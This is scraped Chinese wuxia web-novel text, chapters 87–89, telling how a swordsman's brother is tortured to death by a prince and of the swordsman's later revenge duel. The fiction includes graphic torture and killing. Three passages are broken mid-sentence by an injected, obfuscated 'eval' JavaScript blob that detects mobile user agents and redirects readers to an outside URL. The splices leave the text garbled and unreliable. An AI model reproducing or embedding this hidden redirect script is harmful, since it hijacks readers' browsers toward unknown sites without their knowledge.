“你筋脉堵塞的厉害。”说罢,方隐攸直接拔剑出鞘,割破他的指腹,随后附身将人提了起来,再次用力疏通他的手臂筋脉。 等到鲜血在地上滴了一滩,他再握拳在少年的背后几个关键穴位处用力一锤,少年猛吐一口鲜血,人也顺势往前倒去。 方隐攸嫌弃的撇撇嘴,赶紧提住他的衣裳,免得他摔倒在地。 紧接着,还不等少年站稳,他腾空而起,以手做爪自上而下按在他头顶穴位上用力一压,少年痛呼一声,身体也猛地一颤。 方隐攸翻身一跃后落到地上,朝着少年挑挑眉,“日后练功前先顺一遍筋脉。” 少年忍住身上上下的酸痛,朝着方隐攸感激的抱拳致谢,“我知道了。” 随后,方隐攸以手做掌,十分迅速的打出一套功法后,问少年,“学会了吗?” 少年闻言一愣,他不仅没学会,压根连方隐攸的招式都没看清... 方隐攸似笑非笑的看着他,“这不过是最寻常的一套武功,就已经快到你看不清,你还想去报仇?” “江湖,远比你想象中的难闯,不如——” 方隐攸脸上的笑意变得极具哄骗性,“去陪我弟弟读书吧?” 少年瞬间明白方隐攸不过是在戏弄自己,神色变得埋怨起来,他咬牙切齿的低吼道:“难又如何?我崔清止就算是死,也要报仇雪恨!” “崔清止?”方隐攸喃喃一句,“听起来便该是个读书人的名字。” 方隐攸长叹一口气,无奈的摇摇头,“罢了罢了,你既然执意如此,那我也不多管闲事。” “之前你练功时之所以收效甚微,是因为你全身筋脉受阻。” “方才我已经为你打通了筋脉,日后可正常习武了。” 崔清止有些错愕的望着方隐攸,“你...帮了我?” “勉强算是吧。” 崔清止搓着手,垂下头看向自己布满污泥的布鞋,斟酌许久后看向方隐攸,“你叫什么?” 方隐攸闻言,表情变得张扬肆意起来。 “岭南方隐攸方大侠是也。” 87.四年前的清明2 在去书铺买书之前,方隐攸先去了一趟罗浮门和莲花派。 罗浮门的掌门名为罗寻,和他年纪相当,也是从小无父无母的孤儿,他心狠手辣,入了罗浮门不到三年,杀了原掌门后自己取而代之。 方隐攸原本最不喜这种人,觉得他不知恩图报,不讲江湖道义。 但是罗寻对宇周非常好,总是会送些上好的纸砚去家里,还会差人去京城寻一些高官的策论来给宇周研读。 宇周叫他一声罗大哥,他方隐攸便也不能喊他罗狗贼。 至于莲花派掌门,名为张玥瑶,原本是岭南官家女,但是也不知道为什么一家人获了罪,要被压去京城受刑。 面对必死的局面,她策反了张家所有人,上了莲花山创立莲花派,成了匪。 方隐攸觉得为官为匪都好,活着就行。 张玥瑶说话时总是慢慢悠悠带着一股子散漫,武艺也谈不上多高,但是她为人仗义,从不恃强凌弱。 方隐攸觉得她是个好人,便与她成了朋友,闲暇时候还会去莲花派里面指点指点她的功夫。 今日离开时,张玥瑶扯住方隐攸的衣袖,神秘兮兮的告诉他,“方老弟,我远房表妹明日便到岭南了。” “她呀,相貌好、品性好,而且家里有表亲在京城做大官。” 张玥瑶朝方隐攸露出一个揶揄的笑,“你和她...是天赐的好姻缘!” 方隐攸闻言立马跳开,皱着眉瞪着张玥瑶,“男女之情与我而言还太早,我现在只想一心一意陪着宇周,等着他考取功名!” 张玥瑶啧啧嘴,手指弹了一下胸前的璎珞,发出一声脆响,她朝着方隐攸呵呵一笑。 “你以为考取功名就万事大吉了?”她的眼神一沉,语气变得冷漠,“那只是苦难的开始。” “我不懂这些,只知道宇想要的,必然是好的。” 张玥瑶沉默的看着方隐攸,良久后叹了口气,“是是是,你家宇周想做、想成为的,都是最正确的选择。” “他若是当真一举及第了,我张玥瑶舍了这张脸皮,也会去京城里为他好生打点一番。” 方隐攸朝着张玥瑶举手一拜,“多谢。” 张玥瑶嫌弃的摆摆手,“丑话说到前头,这官场可不比江湖干净,你最好是做好为你弟弟操一辈子心的准备。” “那又如何?”方隐攸朝她炫耀似的挑挑眉,“只要能护住他,我方隐攸这条命都能舍出去。” 从莲花派离开后,方隐攸抬头望天,也到了吃饭的时候,宇周大概已经开始下厨了。 于是他加快脚步,往城西北方宇周常去的书铺赶。 今日清明,街上来往行人非常多。 方隐攸靠着墙边疾行,半束的头发在身后摇摇晃晃,视线扫过街上满脸笑意的行人,嘴角也不自觉的扬了起来,时不时的还哼了几声曲调轻快的民谣。 眼瞅着就快要到书铺了,前面酒楼里忽然有人被踹了出来,砸倒了大片的路人。 方隐攸眉头一皱,随着人流凑了上去。 被踹出来的是个中年人,体格魁梧,满脸不忿,从地上爬了起来以后抖抖肩又立刻往酒楼里面冲了去。 方隐攸顺势望了过去,发现他竟然是朝着一个手握长枪的年轻男人而去的。 他赤手空拳,怎么打得过别人,不出意外的很快又被一脚踹了出来。 这次他爬起来的速度慢了许多,抬手抹一把脸,啐一口痰,又朝着那人冲了过去。 酒楼里的男人也觉得烦了,这次直接用枪尖朝着男人的脖子刺来。 方隐攸眉心一跳,立刻上前将他手中的枪踹开,朝着两人笑道:“什么事非得闹出人命来?” 壮汉冷哼一声,手往年轻人一指,“他奶奶的借了老子十两银子不还,还来这酒楼吃喝!” 年轻人哂笑一声,“说了过几日还就是过几日还,又不是不还,你这么急做什么?” 壮汉一跺脚,咬牙就要往他扑来。 方隐攸立刻抬手抵住他的肩膀,阻止了他,然后朝着那个年轻人抬抬下颌,“钱还给他。” 年轻人手一摊,无辜的眨眨眼,“没有。” 方隐攸再问一遍,“当真没有?” 年轻人点点头。 方隐攸忽然闪到他身侧,然后亦迅雷不及掩耳之势从他怀里掏出一个钱袋子扔给壮汉。 紧接着,他反手拽住年轻人的衣领将人提到酒楼外面。 年轻人怒不可遏的瞪着他,“你这个人当真是吃饱了撑得,多管些什么闲事?”他的手往方隐攸一伸,“还我银子。” “欠债还钱,天经地义。”方隐攸说完拔剑出鞘,剑锋抵住他的脖颈,“若是你不懂这道理,我今日便好好教导教导。” 方隐攸朝着挑衅一笑,“如何?” 年轻人瞥见他的猩红剑柄上的白玉莲花,脸上的表情瞬间僵住,然后迅速往后撤几步,看方隐攸并未步步紧逼,于是赶忙握着长枪跑了。 壮汉这时候也凑了上来,他从钱袋里拿出点碎银子递给方隐攸,“多谢大侠替我讨回这银子。” 方隐攸摆了摆手,转身继续朝着书铺赶去。 巳时六刻,方隐攸怀揣着书册往家走,也不知为何,他的眼皮跳得十分厉害。 方隐攸纳闷的嘀咕一句,抬手按住右眼皮,仰头朝着茅屋望去。 往日里,这个时候厨房的烟囱里已经升起寥寥炊烟,可是今日却不见半点动静,遥望过去,寥无人烟。 方隐攸下意识的眉心一抖,握紧可生剑迅猛的朝着自家的冲去。 “宇周!” 方隐攸变得惴惴不安,直接一脚踹开最东边的那间茅屋。 这是方宇周的书房,被他整理的十分规整,摆着一个诺大的书架和书案。 眼下屋里空无一人,只有书案上摊开的宣纸和还未干透的砚台,以及横亘在宣纸上的狼毫笔。 身后忽然袭来一股杀意,方隐攸不想弄乱宇周的书房,立刻回身一把握住来人的手腕,然后咬紧牙根,将人用力的砸向屋外空地。 在定眼一看,屋外篱笆外面也早已经围满了一圈身穿黑衣、带着鬼面的人。 方隐攸环顾四周,视线落到正对着书房的一个男人,他的身姿颀长,手上背在身后,看上去姿态放松,脸上的面具也别旁人的更加精致些。 方隐攸侧过身,质问道:“我弟弟呢?” 男人轻呵一声,跨过竹篱笆进了院子,朝着方隐攸抬抬下颌,“我知道你在意你的弟弟,自然不会将他如何。” “只是我有一事相托,为了此事能成,不得已才将他请到了别处。” 眼看着方隐攸的神色越来越阴郁,男子朝着方隐攸抬抬手,安抚道:“只要你按我说的做,我保管你的弟弟毫发无损。” “否则——”男人的语气变得残酷,“我也不知道会如何。” 方隐攸闭眼深呼一口气,随后沉着脸看向隔壁的茅屋。 男人见状,笑道:“你那个小徒弟已经跑了。”说着,他抬手朝着方隐攸打了个手势,“倒是个识时务的,但愿你这个做师傅的也如此。” 方隐攸冷着眼看向他,“要我做什么?” “将你的武功写成秘籍交给我。” 方隐攸闻言看着他的眼神变得探究,“你知道我手里没有秘籍。” 男人轻笑一声,“自然知道——毕竟这传言就是我放出去的。” 方隐攸握紧可生剑,问道:“你是谁?” “我?”男人姿态散漫的往前走几步,越来越靠近方隐攸,“是你惹不起的人。” 方隐攸咬紧牙根,按捺住心里想要一剑了结他的欲望,沉声道:“可以,但是我需要先见一面宇周,确保他的安危。” 男人朝着身后的人使了个眼色,很快便看到有人从隔壁的屋子里将方宇周推了出来。 方宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984763|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周的双手被反绑在背后,嘴也被一团布料塞住了,只能从喉咙里发出一声声愤恨的哼声。 平日里宇周就算是在厨房忙活都不会让衣摆上惹上尘埃,如今衣裳上竟然满是污泥,想来是在地上挣扎了许久的。 方隐攸仔细的打量他许久,在确保他身上没有任何伤痕以后终于舒了口气。 “我要和他说会话。” 男人闻言有些不满的看向方隐攸,“方隐攸,你这话有些得寸进尺了。” 方隐攸无所谓的耸耸肩,“不然你杀了他,我杀了你。” 男人沉默良久,朝着方宇周身侧黑衣人摆摆手,他们立刻放开了方宇周。 方隐攸迅速闪到方宇周面前,动作轻柔的拿下他塞在嘴里的破布,然后盯着他的双眼,一字一句道:“在家里等我,我很快回来。” 方宇周咬了咬唇,凑到他耳边悄声道:“哥,我会想办法去找罗大哥和张姐姐来救你的。” 方隐攸猛地握住他的手腕,厉声阻止,“不许。” 说罢,方隐攸看向男人,“不准伤害我弟弟,否则——” 方隐攸并未说完,只是眼神威胁的盯着男人。 男人轻笑一声,“只要你将秘籍给我,我说到做到,不会伤他一根毫毛。” 方隐攸点点头,最后沉声叮嘱方宇周,“不可轻举妄动,乖乖在家等我!” 随后,方隐攸便和那个男人去了寒山寺。 这也是方隐攸第一次来寺庙,此前他从不拜佛,觉得那群秃头和尚口中的大慈大悲都是满嘴胡扯。 江湖人只有杀心,没有慈悲心。 若是有了慈悲心,浑身上下不知道要被别人戳出几个窟窿。 这男人出手阔绰,随手扔出一锭金子,找那个老得弯腰驼背的和尚要了一间静室,又给他备上了上好的笔墨,让他两个时辰之内写出秘籍。 方隐攸拿着笔,闻着墨香,忽然想起来宇周在书房里执笔书写时的身姿来。 背脊挺直,头微垂,右臂抬起,五指分握住毛笔,用肩带动肘再带动腕,轻易之间便可在纸上走笔龙蛇。 只是,为什么他却写不出那样飘逸的字呢? 方隐攸不解,开始仔细的琢磨,控制着手腕上的力道,一撇一捺都写的小心翼翼。 男人见状并未多言,只是目不转睛的盯着他写下的每一个字。 方隐攸没工夫注意男人的反应,他很忙。 忙着将秘籍编造的像一点。 毕竟他自己这满身的本领全部是他日夜苦练琢磨出来的,没有任何章法,真要写也写不出来。 不过好在罗寻是个武痴,常在江湖中搜罗一些秘籍,他也跟着看过几本,编撰起来也十分容易,不过就是将几本秘籍糅杂在一起,再挑挑拣拣编成一本新的。 至于这武功真不真,也得练过才知道。 “好了。” 方隐攸将毛笔往桌子上一扔,“我可以走了吗?” 男人沉默不语,捡起桌上的秘籍仔细翻看了一遍,随后点了点头。 方隐攸心里松了口气——他没有察觉出这秘籍有问题。 一出寒山寺,原本一脸平静的方隐攸脸色陡然大变,方才的沉着冷静尽数消散,神色变得无比慌张。 紧接着,他急速朝着山下奔去,想要尽快回家确保弟弟无恙。 十几里的路程他只花了不到半刻钟的功夫就到了,屋外面围着的黑衣人已经不在,方隐攸浅浅松了口气。 可是当他寻遍整个屋子却没有却没有看到方宇周的身影时,心又立刻悬了起来。 “宇周!” 他跃到屋顶,朝着四周高呼一声,除了树梢上的几只鸟叫,他没有得到任何回应。 方隐攸的神色变得焦灼起来,几乎是转眼间消失在了原地,再次朝着寒山寺奔去。 只是他还未曾赶到寒山寺,就听到有人在喊,“——有人杀到罗浮门了。” 88.四年前的清明3 方隐攸顿时止步,忽然之间竟然不知道该去往何处... “方兄,你...怎么了?” 身后传来一声有些迟疑的询问,方隐攸脸色阴沉的转过脸,看向脏兮兮的崔清止。 大概是方隐攸眼中的情绪过于复杂,崔清止下意识的往后退了一步,再次小心翼翼的问道:“有什么需要我帮助的吗?” 方隐攸抿着唇点点头,又摇摇头,“没用,你功夫太差了。” 崔清止有些惭愧的往后退了一步,沉默的点点头。 方隐攸不再纠结,转头朝着寒山寺奔去,才踏上寺庙前的台阶,便看到男人双手环胸居高临下的睥着自己。 方隐攸恍然醒悟,“你知道我会来。” 男人啧啧嘴,扫视着方隐攸,视线最后落到他手中的可生剑上,“我倒是有些好奇,你这剑救得下谁。” 被愚弄的愤怒让方隐攸浑身发颤,他拔剑出鞘,迅速朝前扑去,剑锋直指向男人的脖颈。 男人心知自己不是方隐攸的对手,也不与他交手,只一味地往后闪避。 “方隐攸,眼下你若即刻赶往罗浮门,罗寻到还有一线生机。” 剑刃从男人的右臂上划过,带出一道血痕,方隐攸嘶吼一声,“我必须先杀了你。” 男人瞥一眼伤口,眼神变得凝重起来,语气却并不见惊慌,依旧带着一丝笑意道,“若我说,你弟弟也在罗浮门呢?” 方隐攸猛的顿住,恶狠狠的盯着他,“来日我必取你狗命。” 话音一落,方隐攸几个飞跃,迅速赶往罗浮门。 罗浮门与寒山寺隔着大半个岭南,方隐攸就算是急速狂奔,也花了将近两刻钟的时间才赶到罗浮山脚下。 罗浮山并不高,山脚下还有一个小村庄,村里的农户与罗浮门中人的关系匪浅,方隐攸赶到时,还能看到许多村民拿着铁锹锄头往山上赶。 方隐攸几步越过他们,直奔山顶的罗浮门。 罗浮门的大门敞开着,里面传出激烈的厮杀声,方隐攸执剑冲了进去,一脚踹到一大片以后扯住一个罗浮门的小弟子,问道:“你家掌门在哪里?” 小弟子认得方隐攸,闻言几乎快要哭出来,手往后院一指,哭喊道:“密室!方大侠,快快快...快去救我们掌门...” 方隐攸咬紧牙根,将人扔到一旁的凉亭顶上,然后迅速往后院而去。 小弟子所说的密室是罗寻平日里练功的地方,门口有一个巨大的石门,进出都有机关,一般人想要强行闯入难于登天。 在前往密室的路上方隐攸虽然心中忐忑,但是却又潜意识的觉得,罗寻此人诡计多端,必然不会轻易的死掉。 但是当他看到密室的石门被炸出一个巨大的窟窿时,心顿时凉了半截。 他张皇失措的朝着密室里面喊一声罗寻,却没等到任何回应,等到钻进密室时,便看到罗寻浑身是血的躺在地上,身上还插着几把长剑。 方隐攸眉心狂跳,心中大骇,怒吼一声后迅速退出密室。 罗寻已死,弟弟宇周恐怕也凶多吉少。 方隐攸杀气腾腾的跳入厮杀的人群中,一剑斩断十几人脖颈后,他扯住一个慌忙逃窜的罗浮门弟子,焦急的问道:“我弟弟呢?方宇周在哪里?” 那弟子茫然的望着方隐攸,半天没有反应。 按理来说,方宇周也是罗浮门的常客,罗浮门的人不该不知道他是谁。 方隐攸的眼神顿时变得森然,他捏住弟子的脖颈用力一拧,然后将人狠狠的砸在地上。 他不是罗浮门的人,他是假冒的。 “方大侠!” 一个年轻人朝着方隐攸大喊道:“你弟弟在莲花派!” 方隐攸闻言眉眼一动,立刻往外冲去,也就没来得及瞥见那个年轻人随后露出的诡异的笑容。 莲花派和罗浮门距离不算远,方隐攸很快就到了莲花派门前。 张玥瑶做人敞亮,莲花派的大门从来不关,今日却意外的关上了。 方隐攸立在门前,脑海中闪过无数种揣测,都在他踹开大门时化作满脸的震惊。 院中的石阶上摆满了尸体,鲜血顺着台阶往下流淌,将院中的青石板路染成血色。 周围张玥瑶精心打理的花园被踩踏的东倒西歪,里面也有许多尸体,个个都死不瞑目。 灰白的眼睛盯着方隐攸的方向,眼神虽然空洞却依旧让方隐攸感觉到一种无声的质问。 这一切都是因他而起,因他的武功而起,他心知肚明。 方隐攸握紧可生剑,牙根发颤的穿过前院,疾步朝着后院走去。 后院是莲花派门众的住所,占地大概有二十几亩,里面的院落布置都是张玥瑶找风水大师算过的顺风顺水顺财的好格局。 往日里方隐攸一踏进后院,便能听到分散在各处的凉亭下悬着的风铃此起彼伏的发出清脆悦耳的声响,如今却只有一片死寂以及满院的死尸。 方隐攸满脸惊骇的望着院中惨绝人寰的一幕,一时间竟然有一种自己身处梦境的混沌感。 这一切不会是真的,世上怎么会有人心狠手辣到这种地步? 可是空气里浓郁的血腥味又在提醒他,这是真的。 他惶恐不安的在院落中奔走,大声喊着方宇周和张玥瑶的名字。 可是却无人回应他,他仿佛行走在寂寂无人的荒地,周遭安静得诡异。 眼下已经接近日暮,天色变得昏沉,一切都开始变得朦胧起来,方隐攸的却一眼就看清了远处阁楼屋檐下悬挂着的、一具已经称不上是全尸的尸体... 是宇周,他的白色长袍已经只剩下几个布条,遮不住身躯上被剜得只剩下白骨四肢... 方隐攸惊恐的尖叫一声,整个人砰的一声往前扑倒,浑身都变得僵硬无比,连呼吸都有片刻的停滞。 方隐攸双眼猩红的与倒悬在假山上、满脸血污的一具死尸四目相对,他虽未死,眼神却比死尸还空洞。 他知道利刃割破肌肤时会有多疼,可是宇周却被千刀万剐——方隐攸的手狠狠的抠住地面,指甲用力到脱落,留下模糊的血肉。 弟弟死了,与他相依为命的弟弟死了,因为他身处江湖又身怀绝技,害得无辜的弟弟死无全尸... 方隐攸惊坐而起,捡起地上的可生剑,抬手就往自己脖子上抹去,却又在割破肌肤的那一瞬间止住—— 不行,他不能死,他要报仇...为了宇周、为了罗寻、为了张玥瑶、为了罗浮门和莲花派所有门众报仇... 方隐攸仰天悲戚的长笑几声,再次无力的朝后倒去。 过了不知道多久,天色完全黑了下来,方隐攸依旧一动不动的倒在地上,他的嘴角源源不断的溢出鲜血,在脸下汇聚成河,染湿了半张脸。 砰的一声惊雷乍响,随后落下瓢泼大雨,雨滴重重的砸在方隐攸的身上,落入他瞪得老大的眼眶中。 他忽然紧闭双眼,整个人都开始颤抖起来,然后缓慢的蜷缩成了一团。 崔清止缓步而来,有些踌躇的看着方隐攸,久久不敢动作。 眼看着雨越下越大,方隐攸却依旧没有任何反应,崔清止于是跪坐在方隐攸身侧,沉默的陪着他。 良久后,方隐攸忽然起身,然后急速跃向方宇周,颤抖着将人小心翼翼的抱了下来。 方隐攸浑身被大雨淋湿,在抱住方宇周的一瞬间,身上的蓝色长袍霎时间被染成血色,血水顺流而下,将他所立之处染得通红。 方宇周如今轻的厉害,浑身上下没剩下几块好肉,方隐攸的将他仔细的护在身前,却不敢垂眼看他灰白的脸庞一眼。 方隐攸狠狠的咬住嘴唇,直到嘴里盛满血水后才喘出一口粗气,他看向紧随而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方隐攸却一把握住他的手腕,力道大的出奇,几乎是想要捏断他骨头的力道。 “宇周,是哥哥。”方隐攸的语气变得迫切起来,还带着一丝悔恨,“我是哥哥。” 施亦礼想要推开这个疯子,却发现自己压根挣脱不开他的束缚,于是只能顺着他说到:“哥哥,你捏疼我了。” 出乎意料的是方隐攸立刻放开了他,然后满脸慌张的望着他被捏红的手腕,愧疚不已的道歉。 “对不起,哥哥...哥哥不是故意的...” 说着,方隐攸忽然按住头痛呼一声,急促的喘了几口粗气以后,他朝着施亦礼露出一个璀璨的笑意,“宇周,我们回家吧。” 施亦礼的眉头越锁越深,然后抬手朝着屋外随意一指,“哥哥,前面山上有坏人,你去帮我杀了他。” 方隐攸闻言眼神开始飘忽起来,他似乎有些迟疑,但是良久后他点点头,然后毫不犹豫冲进了雨里。 施亦礼的神色瞬间冷了下来,眼神厌弃的撇向地上的被方隐攸落下的尸体。 “给我吧。” 一道平静的声音响起,施亦礼回首望去,便看到一个浑身湿漉漉的单薄少年站在屋外。 崔清止面无表情的扫他一眼,然后沉默的走进庙里,将方宇周的尸体带走了。 施亦礼看着他的背影,暗骂一声晦气,砰的一声将庙门关上了。 一切戛然而止,雨却越下越大。 罗浮门和莲花派一夜之间被烧成灰烬,无人深究其中因果,只一句江湖恩怨概括。 方隐攸也在这一天阴差阳错成为了一个备受骂名的刺客。 连弟弟的尸体都忘了埋。 89.黄雀在后(2.13-2.15请假三天) 脑子里闪现的过往让方隐攸想起弟弟那张灰白的脸,耳畔也响起他温润的声音,他说,“哥哥,其实有点疼...” 方隐攸心一抽又吐出一口血,脑子里面像是被人插入了一根狼牙棒在反复地搅,非要将他搅的天翻地覆才肯罢休。 柳扶斐将人护在身前,安抚的拍打着他的后背,声音沙哑的安慰道:“方隐攸,不要担心,他会付出代价的。” 方隐攸掐住手心,隐忍着脑子里的痛意,眼神愤恨的盯着钟季修,一字一句道:“我自然会让他付出代价。” 实在是疼的受不了了,方隐攸低吼一声,用力的锤了一下额头,柳扶斐立刻握住他的手,然后将自己的另一手递到他嘴边,“咬我,痛就咬住我。” 方隐攸一把推开他,捡起地上的可生剑,朝着钟季修怒吼一身,“我必杀你!” 随后,他便迅猛的朝着钟季修扑了过去。 钟季修见状仰头哈哈大笑两声,十分轻巧的躲过方隐攸的利刃。 “方隐攸,你如今——”他的语气变得讥讽,“不足为惧。” 说罢,他猛地抬脚朝着方隐攸的腹部踹来。 柳扶斐迅速上前,抬脚朝他踢去,钟季修塌腰向下,躲过柳扶斐的横扫,然后扭腰在空中翻转一圈,长剑反手刺向方隐攸的侧腰。 方隐攸连忙后撤,然后提剑挡住钟季修的攻势。 柳扶斐捡起软鞭缠住石楼檐下悬着的金铃,用力一扯后朝着钟季修的双目甩了过去。 钟季修狠狠的瞪他一眼,跃到半空中用力一挥剑,飞袭而来的金铃被剑气震得粉碎,满地碎金如烂花,奢靡而绚烂。 三人在庭院中招式迅猛的厮杀,青砖地面被震出道道裂痕,周围的人想要出手相助都找不到合适的时机。 方隐攸的可生剑带着一股凌厉的杀气朝钟季修劈去,柳扶斐也趁机甩出长鞭卷住他的脚踝。 却见钟季修足尖点地,整个人开始急速盘旋向上,爆发出一股巨大的冲击力,将二人兵器同时震开,连带着周围的几座假山都砰的一声炸开,吓得院中厮杀在一起的其他人都下意识的往后退了几步。 “方隐攸,看来今日不是我死,而是你死了。” 钟季修剑指地面,一滴血珠顺着剑刃滚落。 方隐攸这才发现左臂不知何时被划开一道深可见骨的伤口,血水正沿着手掌往下淌。 柳扶斐咬紧牙根,刚要挥鞭再攻,钟季修突然抬剑挑起几块碎石朝着方隐攸砸来。 方隐攸挥剑格挡的瞬间,钟季修也已经以风雷之势劈到面前。 利刃交鸣声中,可生剑被震得脱手飞出,深深钉入院墙,而方隐攸也猛吐一口鲜血后狠狠的砸向身后的一座假山。 “方隐攸!” 柳扶斐惊呼一声,即刻飞身到他身边,将人扶在怀里。 方隐攸头痛欲裂,脸色惨白不已。他深处几口气,冷眼看向不远处的钟季修,缓缓道:“这样不行...” 柳扶斐立刻起身拦在他面前,侧过脸看着他,悄声道:“舒慕谨正在带着人往这边赶,我来拖住他。” 方隐攸用力的握住他的手腕,“你不是他的对手。” 方隐攸感觉周围无数个宇周在对他笑,说着一些他听不清的话,让他如陷入混沌之中,浑身也开始乏力。 “把药都给我。” 柳扶斐一愣,“不行,那药本来就伤身体,不能多吃。” “没事。”方隐攸眼神坚定的看着他,“给我。” 柳扶斐依旧不为所动,眼神警惕的盯着对面的钟季修。 “柳扶斐,这样我们两个人都得死。” “那也好过你死我活。” 方隐攸握紧拳头,视线落在柳扶斐发间的那根白玉莲花发簪上。 “说好了,我会好生护着你的。”方隐攸喃喃一句,然后以迅雷不及掩耳之势闪到他面前一把夺过他怀中的药瓶。 “方隐攸!” 柳扶斐愤怒不已,抬手就想要夺。 方隐攸却没有给他任何机会,直接将瓶子里的药全部吞了下去,霎时间便感觉到胸腔里像是被灌入了炽热的岩浆,连呼吸都开始变得滚烫起来。 钟季修见状立刻朝他们两人冲来,手中的长剑顺势在地上一扫,卷起满地的碎石朝他们砸来。 柳扶斐赶紧抱着方隐攸避开,然后反手挥鞭缠住钟季修的剑柄。 钟季修狞笑着翻转手腕,长剑带着鞭子将人甩向一旁的大树,柳扶斐的后背重重撞上树干又猛地往前一扑摔在地上,喉间泛起腥甜。 钟季修轻蔑的扫他一眼,剑锋指地,一步步逼近方隐攸:“子虚经给我,我便留你个全尸。” “否则,我也让你尝尝千刀万剐的滋味!” 方隐攸双目赤红,冷眼睥着他,静静的等待着药效的发作。 他的沉默让钟季修感觉到不满,手中长剑毫不犹豫的刺入他的前胸。 “钟季修!” 柳扶斐怒吼一声,捡起脚边的长鞭用力一挥,长空被带出一声刺目震鸣,鞭尾急速袭向钟季修的后颈。 钟季修呵呵一笑,收剑后迅速翻身一跃,长鞭在他身下扫过,连他的衣襟都没碰到。 柳扶斐慌忙的跑到方隐攸身边,迅速按住他涌血的前胸,“没事的方隐攸,不要怕。” 说着,他从怀里掏出金创药哆哆嗦嗦的倒在他的伤口上。 他身上带的都是价值千金的好药,落到血肉上后冒出一层血沫,很快便止住了血。 只是方隐攸却像是感觉不到痛一般,由着他处理伤口,连眉头都没有皱一下,他的视线一直死死的锁在钟季修身上,将他脸上的嚣张与放肆看的轻轻楚楚。 方隐攸吐出一口气,谷山一不愧是神医,只这么一会,他便感觉到浑身舒畅,耳清目明 。 他看向柳扶斐,“我想杀了他,就在这里,可以吗?” 柳扶斐毫不迟疑的点点头,“可以,只要你想。其他的事情我会替你妥善处理。” 方隐攸轻轻的嗯一声,侧过头看向钉在远处围墙上的可生剑。 躲在一旁假山后的昌誉见状,赶紧跑了过去,用力的拔出可生剑后朝着他甩了过来,“方隐攸!你的剑!” 方隐攸飞身而上,接住可生剑后迅速袭向钟季修。 “子虚经,是你这种废物配拥有的吗?” 钟季修眼神变得警惕起来,他侧身躲过方隐攸的一击。 方隐攸随即用剑尖挑起碎石射向钟季修下盘,人却借力翻上一旁的樟树上。 几片樟树叶被剑气搅碎后化作一团雾气扑向地上的钟季修,可生剑也已从刁钻角度刺向他的后颈。 “雕虫小技。”钟季修反手将剑竖在背后,两剑相撞带出一片火星。 方隐攸凌空变招,长剑急速下滑,剑尖直指钟季修握剑的虎口。 钟季修猛然松手,长剑坠落的瞬间抬脚踢中剑柄,玄铁剑化作黑龙直取方隐攸心窝。 方隐攸迅速朝后翻腾,剑刃擦着他的左耳划过,削落几缕发丝。 两人皆是一脸冷意的朝着对方嗤笑一声,然后同时跃上屋顶。 方隐攸的可生剑刺穿飞檐,钟季修的长剑劈断垂脊。 瓦片如雨落,两道身影踏着坠落的瓦片借力换位,剑锋相撞激起的火星照亮了彼此眼中的杀意。 方隐攸语气厌弃的唾骂道:“虚伪的东西,装的一副道貌盎然的模样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995546|158572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其实是个狼心狗肺的坏胚。” 钟季修啧啧一声,“不过是个江湖中的匪徒,你凭什么来指摘我?”他的眼神变得蔑然,“难道死在你方隐攸手里的人还少吗?” “至少我方隐攸做事坦荡!” 两人交手间踩着碎瓦片逼近院中水池。 方隐攸的脚尖轻点池面,借力翻身落在岸边青石板上,钟季修挥臂用力朝着池面劈出一剑,激起的水雾化作千万银针朝着方隐攸射来。 方隐攸瞳孔骤缩,可生剑发出一声震鸣,他的身影在水雾中化作三道残影。 第一道残影挥剑挡住千万根水针。 第二道残影执剑刺向钟季修胸腹。 真正的杀招却在钟季修提剑格挡时从不可思议的角度钻出,毫不犹豫的一剑穿透钟季修的左肩。 方隐攸浑身的杀意腾飞,握住剑柄狠狠一拧,将他骨肉剜出一个洞来,然后狠狠的一脚将他踹上岸,狠狠的砸在地上。 随后,方隐攸飞身落到他身前,剑刃抵住钟季修的脖颈,居高临下的睥睨着他,“钟季修,看来今日是你的死期。” 围在周围的杀手见状想要来救人,方隐攸冷着脸朝他们怒吼一声,“谁敢动?我一剑了结了他!” 杀手瞬间不敢轻举妄动,只是虎视眈眈的盯着方隐攸。 钟季修仰躺在地上,脸色阴郁的望着他,“你敢杀我吗?你若是杀了我,整个江湖都得给我陪葬。” 方隐攸轻笑一声,并未回应他这句话,反问道:“四年前我与你无怨无仇,你为什么要这么恶毒的杀了宇周和那些无辜的人?” 钟季修讥讽的扯扯嘴角。 “为什么?”他环顾四周躲躲藏藏的江湖人,“不过是一群目无法纪的贼匪,我堂堂皇子,想杀就杀,还需要什么理由?” “我唯一后悔的,就是当初该留一个,便能在知晓你给我的秘籍是假的时,再让你写一次。” 他冷眼撇向方隐攸,“方隐攸,你身怀绝技又如何?还不是护不住任何人。” 方隐攸似笑非笑的扯了扯嘴角,迅速的挑断他的手脚筋脉,然后一剑割下他左臂上的一块肉,疼他浑身发颤,脸色霎时间变得毫无血色。 钟季修不可置信的瞪着他,“你竟然敢伤我...你是要与皇家为敌吗?” 